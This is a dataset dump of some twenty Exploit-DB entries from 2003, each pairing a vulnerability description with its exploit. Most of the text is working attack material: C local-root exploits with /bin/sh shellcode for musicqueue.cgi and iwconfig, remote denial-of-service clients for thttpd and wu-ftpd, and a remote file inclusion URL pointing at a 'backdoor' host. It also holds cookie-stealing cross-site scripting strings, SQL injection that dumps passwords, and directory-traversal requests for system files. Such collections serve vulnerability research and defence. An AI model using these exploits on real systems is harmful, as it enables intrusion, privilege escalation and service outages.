QLWD/code_shield huggingface dataset:
标题: SH-HTTPD 0.3/0.4 - Character Filtering Remote Information Disclosure EDB-ID: 23295 CVE: 2003-1137 类型: REMOTE 平台: LINUX 发布日期: 2003-10-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/8897/info

A problem has been identified in the handling of some characters by sh-httpd. Because of this, an attacker may be able to gain unauthorized access to information. 


GET *
GET ../../../sh-httpd/p*
GET /../../etc/s*
GET ../../root/.b* URL: https://www.exploit-db.com/exploits/23295
标题: Les Visiteurs 2.0 - Remote File Inclusion EDB-ID: 23302 CVE: 2003-1148 类型: WEBAPPS 平台: PHP 发布日期: 2003-10-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/8902/info

A problem has been reported in the handling of some types of input by Les Visiteurs. Because of this, an attacker may be able to execute arbitrary commands on the system. 

http://www.example.com/path/include/config.inc.php?lvc_include_dir=http://backdoor/ URL: https://www.exploit-db.com/exploits/23302
标题: Yahoo! Messenger 5.6 - File Transfer Buffer Overrun EDB-ID: 23293 CVE: 2003-1135 类型: DOS 平台: WINDOWS 发布日期: 2003-10-27 漏洞利用脚本: source: Yahoo! Messenger File Transfer Buffer Overrun Vulnerability

Yahoo! Messenger is prone to a remotely exploitable buffer overrun vulnerability. An attacker may trigger this condition by initiating a malformed 'sendfile' request, which the victim user must then accept. This will reportedly result in an access violation error, which is likely due to memory corruption.

An attacker may theoretically exploit this condition to execute arbitrary code on a client system. This condition can be exploited via a malicious 'sendfile' link. 

YMSGR:sendfile?[victim_yahooID]+%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%&c%c:\[somefile] URL: https://www.exploit-db.com/exploits/23293
标题: Chi Kien Uong Guestbook 1.51 - Cross-Site Scripting EDB-ID: 23294 CVE: 2003-1136 类型: WEBAPPS 平台: PHP 发布日期: 2003-10-27 漏洞利用脚本: source: https://www.securityfocus.com/bid/8896/info

It has been reported that Chi Kien Uong Guestbook may be prone to a cross-site scripting vulnerability that may allow a remote attacker to execute HTML or script code in a user's browser. The problem is reported to present itself due to insufficient sanitization of user-supplied data when posting an e-mail address or URL to the site. It has been reported that double quotes are not filtered therefore an attacker may be able to append malicious script code in order to be executed on a victim's web browser.

Successful exploitation of this attack may allow an attacker to steal cookie-based authentication information.

" onmouseover="alert(document.cookie) URL: https://www.exploit-db.com/exploits/23294
标题: Musicqueue 0.9/1.0/1.1 - Multiple Buffer Overrun Vulnerabilities EDB-ID: 23303 CVE: 2003-1140 类型: LOCAL 平台: LINUX 发布日期: 2003-10-27 漏洞利用脚本: // source: https://www.securityfocus.com/bid/8903/info

Multiple buffer overrun vulnerabilities have been discovered in Musicqueue. Both issues stem from the lack of bounds checking when passing user-supplied input to the sprintf() libc function. As a result, it may be possible for an attacker to exploit arbitrary code with the privileges the affected application, possibly installed suid or sgid.

/*
**
** 0x82-musicqueue_over - musicqueue.cgi local root `Proof of Concept' exploit
**
** This is general overflow exploit.
**
** --
** bash-2.04$ ./0x82-musicqueue_over /tmp/musicqueue-1.1.1/musicqueue.cgi
**
** 0x82-musicqueue_over - musicqueue.cgi v-0.9~1.1.1 `Proof of Concept'
**
** sh-2.04# id
** uid=0(root) gid=0(root) groups=500(x82)
** sh-2.04# 
** --
** exploit by "you dong-hun"(Xpl017Elz), <szoahc@hotmail.com>.
** My World: http://x82.i21c.net & http://x82.inetcop.org
**
*/

#include <stdio.h>

int main(int argc,char *argv[])
{
 FILE *fp;
 int r_rn=0;
 char *ent_r[3],atck_d[0x82];
 char shellcode[]=
  "\220@\220@\220@\220@\220@\220@\220@\220@\220@"
  "\220@\220@\220@\220@\220@\220@\220@\220@\220@"
  "1\300\260F1\3331\311\315\2001\300\260G1\3331"
  "\311\315\200\353\037^\211v\b1\300\210F\007"
  "\211F\f\260\013\211\363\215N\b\215V\f\315\2001"
  "\333\211\330@\315\200\350\334\377\377\377"
  "/bin/sh";

 unsigned long sh_addr=(0xbfffffff-(strlen(shellcode)));
 memset((char *)atck_d,0,sizeof(atck_d));

 fprintf(stdout,"\n 0x82-musicqueue_over - musicqueue.cgi v-0.9~1.1.1 POC exploit.\n\n");

 if(argc<2)
 {
  fprintf(stdout," Usage: %s [musicqueue.cgi path]\n\n",argv[0]);
  exit(-1);
 }
 else sh_addr-=(strlen(argv[1]));

 atck_d[r_rn++]=0x82;
 for(;r_rn<44;r_rn+=4)
 {
  *(long *)&atck_d[r_rn]=sh_addr;
 }

 if((fp=fopen("musicqueue.conf","w"))==NULL)
 {
 fprintf(stderr," [-] musicqueue.conf fopen() error.\n\n");
 return(-1);
 }
 fprintf(fp,"language = %s\n",atck_d);
 fclose(fp);

 ent_r[0]="REQUEST_METHOD=GET";
 ent_r[1]=(shellcode);
 ent_r[2]=(NULL);
 execle(argv[1],"musicqueue.cgi",NULL,ent_r);
} URL: https://www.exploit-db.com/exploits/23303
标题: Wireless Tools 26 (IWConfig) - ARGV Local Command Line Buffer Overflow (1) EDB-ID: 23299 CVE: 2003-0947 类型: LOCAL 平台: LINUX 发布日期: 2003-10-27 漏洞利用脚本: // source: https://www.securityfocus.com/bid/8901/info

A problem has been identified in the iwconfig program when handling strings on the commandline. Because of this, a local attacker may be able to gain elevated privileges. 

Exploit:
/* PST_iwconfig
   /sbin/iwconfig proof of concept exploit
   coded by aXis@ph4nt0m.net
   Ph4nt0m Security Team
   http://www.ph4nt0m.net
   just for fun
*/

#include<stdio.h>
#include<string.h>
#include<unistd.h>

/* Copyright (c) Ramon de Carvalho Valle July 2003 */
/* x86/linux shellcode */

char shellcode[]= /* 24 bytes */
    "\x31\xc0" /* xorl %eax,%eax */
    "\x50" /* pushl %eax */
    "\x68\x2f\x2f\x73\x68" /* pushl $0x68732f2f */
    "\x68\x2f\x62\x69\x6e" /* pushl $0x6e69622f */
    "\x89\xe3" /* movl %esp,%ebx */
    "\x50" /* pushl %eax */
    "\x53" /* pushl %ebx */
    "\x89\xe1" /* movl %esp,%ecx */
    "\x99" /* cltd */
    "\xb0\x0b" /* movb $0x0b,%al */
    "\xcd\x80"; /* int $0x80 */


int main(int argc,char **argv){
   char buf[96];
   unsigned long ret;
   int i;

   char *prog[]={"/sbin/iwconfig",buf,NULL};
   char *env[]={"HOME=/",shellcode,NULL};

   ret=0xc0000000-strlen(shellcode)-strlen(prog[0])-0x06;
   printf("use ret addr: 0x%x\n",ret);

   memset(buf,0x41,sizeof(buf));
   memcpy(&buf[92],&ret,4);

   execve(prog[0],prog,env);

  } URL: https://www.exploit-db.com/exploits/23299
标题: Wireless Tools 26 (IWConfig) - ARGV Local Command Line Buffer Overflow (2) EDB-ID: 23300 CVE: 2003-0947 类型: LOCAL 平台: LINUX 发布日期: 2003-11-11 漏洞利用脚本: // source: https://www.securityfocus.com/bid/8901/info
 
A problem has been identified in the iwconfig program when handling strings on the commandline. Because of this, a local attacker may be able to gain elevated privileges. 

/*
  Name: iw-config.c
  Copyright: !sh2k+!tc2k
  Author: heka
  Date: 11/11/2003
  Greets: bx, pintos, eksol, hex, keyhook, grass, toolman, rD, shellcode, dunric, termid, kewlcat, JiNKS
  Description: /sbin/iwconfig - local root exploit
  iwconfig manipulate the basic wireless parameters

*/

#include <stdio.h>

#define BIN     "/sbin/iwconfig"

unsigned char shellcode[] =
                  "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\xb0\x2e"
                  "\xcd\x80\x31\xc0\x53\x68\x77\x30\x30\x74\x89\xe3"
                  "\xb0\x27\xcd\x80\x31\xc0\xb0\x3d\xcd\x80\x31\xc0"
                  "\x31\xdb\x31\xc9\xb1\x0a\x50\x68\x2e\x2e\x2f\x2f"
                  "\xe2\xf9\x89\xe3\xb0\x0c\xcd\x80\x31\xc0\x31\xdb"
                  "\x6a\x2e\x89\xe3\xb0\x3d\xcd\x80\x31\xc0\x31\xdb"
                  "\x31\xc9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"
                  "\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd"
                  "\x80\x31\xc0\x31\xdb\xb0\x01\xcd\x80";

int
main ()
{
   int x;
   char buf[97], out[1337], *buffer;
   unsigned long ret_add = 0xbffffbb8, *add_ptr ;
   buffer = buf;
   add_ptr = (long *)buffer;
   for (x=0; x<97-1; x+=4)
   *(add_ptr++)=ret_add;
   memset ((char *)out, 0x90, 1337);
   memcpy ((char *)out + 333, shellcode, strlen(shellcode));
   memcpy((char *)out, "OUT=", 4);
   putenv(out);
   execl (BIN, BIN, buf, NULL);
   return 0;
} URL: https://www.exploit-db.com/exploits/23300
标题: Sun Microsystems Java Virtual Machine 1.x - Security Manager Denial of Service EDB-ID: 23292 CVE: 2003-1134 类型: DOS 平台: MULTIPLE 发布日期: 2003-10-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/8892/info

A problem has been reported in the Sun Microsystems Java Virtual Machine that occurs when implementing the Security Manager. Because of this, an attacker may be able to crash the virtual machine. 

/* InsecurityManager-Demonstration */
/* coded by Marc Schoenefeld */
public class InSecurityManager extends SecurityManager {

public void doit() {
System.out.println("doit");
int o = classDepth(null);
}

public static void main(String[] a) {
InSecurityManager m = new InSecurityManager();
m.doit();
}
} URL: https://www.exploit-db.com/exploits/23292
标题: thttpd 2.2x - 'defang' Remote Buffer Overflow EDB-ID: 23306 CVE: 2003-0899 类型: REMOTE 平台: LINUX 发布日期: 2003-10-27 漏洞利用脚本: // source: https://www.securityfocus.com/bid/8906/info
 
A vulnerability has been reported in thttpd that may allow a remote attacker to execute arbitrary code on vulnerable host. The issue is reported to exist due to a lack of bounds checking by software, leading to a buffer overflow condition. The problem is reported to exist in the defang() function in libhttpd.c.
 
This issue may allow an attacker to gain unauthorized access to a vulnerable host. Successful exploitation of this issue may allow an attacker to execute arbitrary code in the context of the web server in order to gain unauthorized access to a vulnerable system.
 
thttpd versions 2.21 to 2.23b1 have been reported to be prone to this issue, however other versions may be affected as well. 

==========================[ thttpd-sontot.c ]=========================
 
// thttpd-sontot.c remote dos exploit by d3ck4
// Base On Texonet Security Advisory 20030908
// Application    : thttpd
// Version(s)     : 2.21 - 2.23b1
// Platforms      : FreeBSD, SunOS 4, Solaris 2, BSD/OS, Linux, OSF
// Solution       : Upgrade to version 2.24
// Remote exploit not yet ;P~
 
#include <stdio.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netdb.h>

int main(int argc, char **argv)
{
  struct sockaddr_in addr;
  struct hostent *host;
  char buffer[1000];
  char buffer1[1130];
  int s, i;
  if(argc != 3)
  {
    fprintf(stderr, "usage: %s <host> <port>\n", argv[0]);
    exit(0);
  }
  s = socket(AF_INET, SOCK_STREAM, 0);
  if(s == -1)
  {
    perror("socket() failed\n");
    exit(0);
  }
  host = gethostbyname(argv[1]);
  if( host == NULL)
  {
    herror("gethostbyname() failed");
    exit(0);
  }
  addr.sin_addr = *(struct in_addr*)host->h_addr;
  addr.sin_family = AF_INET;
  addr.sin_port = htons(atol(argv[2]));
 
  if(connect(s, &addr, sizeof(addr)) == -1)
  {
    perror("couldn't connect to server\n");
    exit(0);
  }
 
  for(i = 0; i < 1000 ; i++)
    buffer1[i] = '>';
    sprintf(buffer, "GET /%s HTTP/1.0\r\n\r\n\r\n", buffer1);
    printf("\n(Drink Tongkat-Ali For Better Performance ;P~ !)\n\n");
    printf("Buffer is: %s\n\n", buffer1);
    printf("Buffer filled... now sending buffer\n");
    send(s, buffer, strlen(buffer), 0);
 
    printf("Buffer sent.\nNow thttpd daemon should be dead !!!\n\n");
    close(s);
  return 0;
}
 
/* EOF */

==========================[ thttpd-sontot.c ]=========================


---------------------------------
Do you Yahoo!?
Free Pop-Up Blocker - Get it now URL: https://www.exploit-db.com/exploits/23306
标题: Coreutils 4.5.x - LS Width Argument Integer Overflow EDB-ID: 23274 CVE: 2003-0853 类型: DOS 平台: LINUX 发布日期: 2003-10-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/8875/info

Coreutils 'ls' has been reported prone to an integer overflow vulnerability. The issue reportedly presents itself when handling width and column display command line arguments. It has been reported that excessive values passed as a width argument to 'ls' may cause an internal integer value to be misrepresented. Further arithmetic performed based off this misrepresented value may have unintentional results.

Additionally it has been reported that this vulnerability may be exploited in software that implements and invokes the vulnerable 'ls' utility to trigger a denial of service in the affected software. 

#!/usr/bin/perl

# DoS sploit for ls 
# tested against wu-ftpd 2.6.2

# coded by (c) druid 
# greets to viator

use Net::FTP;

(($target = $ARGV[0])&&($count = $ARGV[1])) || die "usage:$0 <target> <count>";
my $user = "anonymous";
my $pass = "halt\@xyu.com";
$cols=1000000;#you can increase this value for more destructive result ;)


print ":: Trying to connect to target system at: $target...\n"; $ftp = Net::FTP->new($target, Debug => 0, Port => 21) || die "could not 
connect: $!";
print "Connected!\n";
$ftp->login($user, $pass) || die "could not login: $!"; 
print "Logged in!\n";
$ftp->cwd("/");
while ($count)
{
$ftp->ls("-w $cols -C");
 $count--; 
}
print "Done!\n";
$ftp->quit; URL: https://www.exploit-db.com/exploits/23274
标题: DansGuardian 2.2.x - Denied URL Cross-Site Scripting EDB-ID: 23275 CVE: 2003-1506 类型: WEBAPPS 平台: CGI 发布日期: 2003-10-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/8876/info

A problem has been reported in the handling of some types of input to DansGuardian. This problem may permit an attacker to launch cross-site scripting attacks.

http://www.example.com/cgi-bin/dansguardian.pl?DENIEDURL=</a><script>alert('Test');window.open+("http://www.example.com")</script> URL: https://www.exploit-db.com/exploits/23275
标题: Sun Java Virtual Machine 1.x - Slash Path Security Model Circumvention EDB-ID: 23276 CVE: 2003-0896 类型: DOS 平台: MULTIPLE 发布日期: 2003-10-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/8879/info

A vulnerability has been identified in the Sun Java Virtual Machine packaged with JRE and SDK. This issue results in the circumvention of the Java Security Model, and can permit an attacker to execute arbitrary code on vulnerable hosts. 

import java.applet.Applet;
import java.awt.Graphics;
import java.lang.Class;
import java.security.AccessControlException;

public class Simple extends Applet {

StringBuffer buffer;

public void init() {
buffer = new StringBuffer();
}

public void start() {
ClassLoader cl = this.getClass().getClassLoader();
try {
Class cla =
cl.loadClass("sun/applet/AppletClassLoader"); // Note the slashes
addItem("No exception in loadClass. Vulnerable!");
} catch (ClassNotFoundException e) {
addItem("ClassNotFoundException in loadClass - " + e);
} catch (AccessControlException e) {
addItem("AccessControlException in loadClass - Not
Vulnerable!");
}

} URL: https://www.exploit-db.com/exploits/23276
标题: Apache cocoon 2.14/2.2 - Directory Traversal EDB-ID: 23282 CVE: 2003-1172 类型: REMOTE 平台: MULTIPLE 发布日期: 2003-10-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/8883/info

It has been reported that Apache Cocoon may be prone to a directory traversal vulnerability that may allow an attacker to traverse outside the server root directory by using '/./../' character sequences. The issue is caused by insufficient sanitization of user-supplied input to the "filename" parameter in the sample "view-source" script.

This vulnerability may be successfully exploited to gain sensitive information about a vulnerable host that could be used to launch further attacks against the system.

Apache Cocoon version 2.1 and 2.2 before 22 Oct 2003 have been reported to be affected by this issue, however other versions may be affected as well.

http://www.example.com:8888/samples/view-source?filename=../../../[existing_file] URL: https://www.exploit-db.com/exploits/23282
标题: Microsoft Internet Explorer 6 - Scrollbar-Base-Color Partial Denial of Service EDB-ID: 23273 CVE: 2003-1505 类型: DOS 平台: WINDOWS 发布日期: 2003-10-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/8874/info

It has been reported that Microsoft Internet Explorer is prone to a vulnerability that may allow an attacker to cause a denial of service condition in the software. The problem occurs due to improper handling of scrollbar-base-color attribute of the div object.

Successful exploitation of this issue may allow an attacker to create a webpage containing malicious script code that would cause a user's browser to crash upon visiting the site.

Microsoft Internet Explorer 6.0 has been reported to be vulnerable to this issue, however other versions may be affected as well.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<title>CRASH-IE</title>
<style type="text/css">
html, body {
overflow-y: hidden;
scrollbar-base-color: '#330066';
}

.crash {
position:absolute;
left:200px;
top:200px;
width:200px;
}

</style>
<script type="text/javascript">
function galgenfrist() {
window.setTimeout('crashIE();',1000);
}

function crashIE() {
var moveNode = document.getElementById("move");
if(moveNode) {
moveNode.style.top = "100px";
moveNode.style.left = "200px";
}
}
</script>
</head>
<body onload="galgenfrist();">
<h1>CRASH-IE</h1>
<div id="move" class="crash">
<table>
<tbody>
<tr>
<td>
<textarea>&lt;/textarea&gt;
</td>
</tr>
</tbody>
</table>
</div>
</body>
</html> URL: https://www.exploit-db.com/exploits/23273
标题: PSCS VPOP3 2.0 Email Server WebAdmin - Cross-Site Scripting EDB-ID: 23271 CVE: 2003-1522 类型: REMOTE 平台: MULTIPLE 发布日期: 2003-10-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/8869/info

It has been reported that PSCS VPOP3 Email Server may be prone to a cross-site scripting vulnerability that may allow a remote attacker to embed malicious HTML and script code in a link. The issue is reported to be present in the WebAdmin utility of the software because of improper sanitization of user-supplied data that will be displayed by the utility.

Successful exploitation of this attack may allow an attacker to steal cookie-based authentication information that could be used to launch further attacks.

PSCS VPOP3 versions 2.0.0e and 2.0.0f have been reported to be prone to this vulnerability, however other versions may be affected as well. 

index.html?redirect=admin/index.html";%0Devil_script;%0D// URL: https://www.exploit-db.com/exploits/23271
标题: Vivisimo Clustering Engine - Search Script Cross-Site Scripting EDB-ID: 23268 CVE: 2003-1519 类型: WEBAPPS 平台: JAVA 发布日期: 2003-10-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/8862/info

Vivisimo Clustering Engine reported prone to cross-site scripting vulnerability. The problem occurs due to insufficient sanitization of parameters passed to the search script. As a result, an attacker may be capable of constructing a link designed to execute arbitrary script code within the browser of a user who follows it.

http://www.example.com/search?query=<script>alert(document.domain)</script> URL: https://www.exploit-db.com/exploits/23268
标题: Sun Java Plugin 1.4 - Unauthorized Java Applet Floppy Access EDB-ID: 23270 CVE: 2003-1521 类型: REMOTE 平台: WINDOWS 发布日期: 2003-10-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/8867/info

A weakness has been reported in Java implementations that may constitute unauthorized access by Java applets to floppy devices. This weakness appears to present a flaw in the Java security model.

This issue was reported in Java Plug-in 1.4.x versions on Microsoft Windows operating systems, when run with Internet Explorer. Other environments and versions may also be affected.

import java.awt.Label;

public class MyFloppySucks extends java.applet.Applet {
private Label m_labVersionVendor;
public MyFloppySucks () //constructor
{
m_labVersionVendor = new Label ("Java Floppy Stress Testing Applet,
(2003) www.illegalaccess.org" +" / Java Version: " +
System.getProperty("java.version")+
" from "+System.getProperty("java.vendor"));
this.add(m_labVersionVendor);
}
public void paint(java.awt.Graphics g) {
while (1==1)
try {

org.apache.crimson.tree.XmlDocument.createXmlDocument("file:///a:/",false);
}
catch (Exception e) {
System.out.println("Java Floppy Stress Testing Applet,
(2003) www.illegalaccess.org");
}
}
} URL: https://www.exploit-db.com/exploits/23270
标题: FuzzyMonkey 2.11 - MyClassifieds Email Variable SQL Injection EDB-ID: 23269 CVE: 2003-1520 类型: WEBAPPS 平台: PHP 发布日期: 2003-10-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/8863/info

It has been reported that FuzzyMonkey MyClassifieds may be prone to a SQL injection vulnerability that may allow an attacker to disclose user passwords by supplying malicious SQL code to the Email variable. This attack may cause the software to write user password to a world readable file, which may be accessed to launch further attacker against a system.

A malicious user may influence database queries in order to view or modify sensitive information, and gain unauthorized access by disclosing user passwords therefore potentially compromising the software or the database.

MyClassifieds version 2.11 has been reported to be prone to this vulnerability, however other versions may be affected as well. 

If the value of $email is aaa@aaa.com' OR 1=1 INTO OUTFILE
'/<directory-path>/pass.txt, the SQL request becomes:

select passmd5 from people where email=' aaa@aaa.com' OR 1=1 INTO OUTFILE
'/<directory-path>/pass.txt' URL: https://www.exploit-db.com/exploits/23269
标题: Dansie Shopping Cart - Server Error Message Installation Full Path Disclosure EDB-ID: 23266 CVE: 2003-1517 类型: WEBAPPS 平台: CGI 发布日期: 2003-10-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/8860/info

Dansie Shopping Cart is reported to be prone to path disclosre issue in the 'db' parameter of 'cart.pl' that may lead to an attacker gaining sensitive information about the installation path of the system.

Information gained by exploiting this attack may aid an attacker in launching further attacks against a vulnerable system.

http://www.example.com/cgi-bin/cart.pl?db=' URL: https://www.exploit-db.com/exploits/23266
标题: GoldLink 3.0 - Cookie SQL Injection EDB-ID: 23259 CVE: 2003-1504 类型: WEBAPPS 平台: PHP 发布日期: 2003-10-18 漏洞利用脚本: source: https://www.securityfocus.com/bid/8847/info

GoldLink is prone to SQL injection attacks. This is due to insufficient validation of values supplied via cookies. As a result, it may be possible to manipulate SQL queries, potentially resulting in information disclosure, bulletin board compromise or other consequences. 

vadmin_login = ' OR Login LIKE '%

and

vadmin_pass = ' OR Password LIKE '% URL: https://www.exploit-db.com/exploits/23259
标题: Atrium Software Mercur MailServer 3.3/4.0/4.2 - IMAP AUTH Remote Buffer Overflow EDB-ID: 23267 CVE: 2003-1177 类型: DOS 平台: WINDOWS 发布日期: 2003-10-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/8861/info

A problem has been reported in MERCUR Mailserver when handling the IMAP AUTH command. The issue occurs when an overly long command is submitted, which may be due to a buffer overrun. This problem may make it possible for an attacker to gain unauthorized access to a vulnerable system. 

On the IMAP port:

AUTH PLAIN
kJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQkJCQ URL: https://www.exploit-db.com/exploits/23267